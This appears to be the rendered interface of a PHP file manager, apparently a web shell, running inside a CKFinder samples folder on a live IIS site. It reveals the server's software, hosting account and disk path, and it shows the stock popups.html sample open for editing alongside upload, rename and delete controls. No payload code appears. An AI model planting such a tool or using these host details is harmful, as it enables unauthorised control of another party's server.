Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

Microsoft-IIS/10.0

System:

Windows NT 10.0

PHP Version:

8.3.24

User:

IWPD_9103(99sunfote)

Directory:

D:\INETPUB\VHOSTS\99sunfotechpower.com\httpdocs/admin/cke_editor4/ck_finder/samples

Free Space:

2.16 TB

🔧 Quick Actions

✏️ Editing: popups.html

<!DOCTYPE html>

<html>
<head>
	<meta charset="utf-8">
	<title>CKFinder 3 Samples</title>
	<meta name="viewport" content="width=device-width, initial-scale=1">
	
	<link href="css/sample.css" rel="stylesheet">
</head>
<body>
<header class="header-a">
	<div class="grid-container">
		<h1 class="header-a-logo grid-width-30">
			<a href="index.html"><img src="img/logo.png" alt="CKFinder Logo"></a>
		</h1>
		<nav class="navigation-b grid-width-70">
			<ul>
				<li><a href="https://ckeditor.com/docs/ckfinder/ckfinder3/" class="button-a">Documentation</a></li>
			</ul>
		</nav>
	</div>
</header>
<main class="grid-container">
	<nav class="tree-a tree-a-layout grid-width-30">
		<h1>CKFinder Samples</h1>
		<h2 class="tree-a-active">Website Integration</h2>
		<ul>
			<li><a href="widget.html">Widget</a></li>
			<li class="tree-a-active"><a href="popups.html">Popup</a></li>
			<li><a href="modals.html">Modal</a></li>
			<li><a href="full-page.html">Full Page</a></li>
		</ul>
		<h2 class="tree-a-no-sub"><a href="ckeditor.html">CKEditor Integration</a></h2>
		<h2>Skins</h2>
		<ul>
			<li><a href="skins-neko.html">Neko</a></li>
			<li><a href="skins-moono.html">Moono</a></li>
			<li><a href="skins-jquery-mobile.html">jQuery Mobile</a></li>
		</ul>
		<h2>User Interface</h2>
		<ul>
			<li><a href="user-interface-default.html">Default</a></li>
			<li><a href="user-interface-compact.html">Compact</a></li>
			<li><a href="user-interface-mobile.html">Mobile</a></li>
			<li><a href="user-interface-listview.html">List View</a></li>
		</ul>
		<h2 class="tree-a-no-sub"><a href="localization.html">Localization</a></h2>
		<h2>Other</h2>
		<ul>
			<li><a href="other-read-only.html">Read-only Mode</a></li>
			<li><a href="other-custom-configuration.html">Custom Configuration</a></li>
		</ul>
		<h2 class="tree-a-no-sub"><a href="plugin-examples.html">Plugin Examples</a></h2>
	</nav>
	<section class="content grid-width-70">
		<h1>Popup Mode</h1>

<p>The <a href="https://ckeditor.com/docs/ckfinder/ckfinder3/#!/guide/dev_installation-section-using-ckfinder-in-a-popup-window">popup mode</a> is most suitable for selecting files that are stored on a server.<br />
		Click the button below to open the popup and choose any file. After that you will see basic information
		about the file that was selected, including the URL.</p>

<div class="popup-example">
			<button id="ckfinder-popup" class="button-a button-a-background" style="float: left">Open Popup</button>
			<div id="output" style="float: left;font-size: 0.8em;line-height: 1.4em;margin: 3px 7px;"></div>
		</div>
		<div style="clear: both"></div>

<p>Additionally, CKFinder supports a special file selection mode for images called <strong>Choose Resized</strong>. This feature
		allows you to resize the selected image to any size that is suitable for you. The CKFinder connector will automatically create
		a resized version of the image and return its URL.</p>

<h2>Multiple Popups</h2>
		<p>In some cases you may need more than one popup to handle multiple places that require selecting a file.
			Below you can find an example that fills each of the inputs with the URL of the selected file.</p>

<input id="ckfinder-input-1" type="text" style="width:60%">
		<button id="ckfinder-popup-1" class="button-a button-a-background">Browse Server</button>

<input id="ckfinder-input-2" type="text" style="width:60%">
		<button id="ckfinder-popup-2" class="button-a button-a-background">Browse Server</button>

<pre class="prettyprint"><code>var button1 = document.getElementById( 'ckfinder-popup-1' );
var button2 = document.getElementById( 'ckfinder-popup-2' );

button1.onclick = function() {
	selectFileWithCKFinder( 'ckfinder-input-1' );
};
button2.onclick = function() {
	selectFileWithCKFinder( 'ckfinder-input-2' );
};

function selectFileWithCKFinder( elementId ) {
	CKFinder.popup( {
		chooseFiles: true,
		width: 800,
		height: 600,
		onInit: function( finder ) {
			finder.on( 'files:choose', function( evt ) {
				var file = evt.data.files.first();
				var output = document.getElementById( elementId );
				output.value = file.getUrl();
			} );

finder.on( 'file:choose:resizedImage', function( evt ) {
				var output = document.getElementById( elementId );
				output.value = evt.data.resizedUrl;
			} );
		}
	} );
}
</code></pre>

</section>
</main>
<footer class="footer-a grid-container">
	<div class="grid-container">
		<p class="grid-width-100">
			CKFinder 3 &ndash; <a href="https://ckeditor.com/ckfinder/">https://ckeditor.com/ckfinder/</a>
		</p>
		<p class="grid-width-100">
			Copyright &copy; 2003-2019, <a class="samples" href="http://cksource.com/">CKSource</a> &ndash; Frederico
			Knabben. <a href="https://ckeditor.com/sales/license/ckfinder">All rights reserved</a>.
		</p>
	</div>
</footer>
<nav class="navigation-a">
	<div class="grid-container">
		<ul class="navigation-a-left grid-width-70">
			<li><a href="https://ckeditor.com/ckfinder/">Project Homepage</a></li>
			<li class="global-is-mobile-hidden"><a href="https://github.com/ckfinder/ckfinder/issues">I found a bug in CKFinder</a></li>
			<li class="global-is-mobile-hidden"><a class="icon-pos-right icon-navigation-a-github" href="https://github.com/ckfinder/ckfinder-docs-samples">Sample Plugins on GitHub</a></li>
		</ul>
	</div>
</nav>

var button = document.getElementById( 'ckfinder-popup' );

button.onclick = function() {
		CKFinder.popup( {
			chooseFiles: true,
			width: 800,
			height: 600,
			onInit: function( finder ) {
				finder.on( 'files:choose', function( evt ) {
					var file = evt.data.files.first();
					var output = document.getElementById( 'output' );
					output.innerHTML = 'Selected: ' + escapeHtml( file.get( 'name' ) ) + '<br>URL: ' + escapeHtml( file.getUrl() );
				} );

finder.on( 'file:choose:resizedImage', function( evt ) {
					var output = document.getElementById( 'output' );
					output.innerHTML = 'Selected resized image: ' + escapeHtml( evt.data.file.get( 'name' ) ) + '<br>url: ' + escapeHtml( evt.data.resizedUrl );
				} );
			}
		} );
	};

var button1 = document.getElementById( 'ckfinder-popup-1' );
	var button2 = document.getElementById( 'ckfinder-popup-2' );

button1.onclick = function() {
		selectFileWithCKFinder( 'ckfinder-input-1' );
	};
	button2.onclick = function() {
		selectFileWithCKFinder( 'ckfinder-input-2' );
	};

function selectFileWithCKFinder( elementId ) {
		CKFinder.popup( {
			chooseFiles: true,
			width: 800,
			height: 600,
			onInit: function( finder ) {
				finder.on( 'files:choose', function( evt ) {
					var file = evt.data.files.first();
					var output = document.getElementById( elementId );
					output.value = file.getUrl();
				} );

finder.on( 'file:choose:resizedImage', function( evt ) {
					var output = document.getElementById( elementId );
					output.value = evt.data.resizedUrl;
				} );
			}
		} );
	}
</script>
<script src="//cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js" type="text/javascript"></script>

</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: popups.html

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation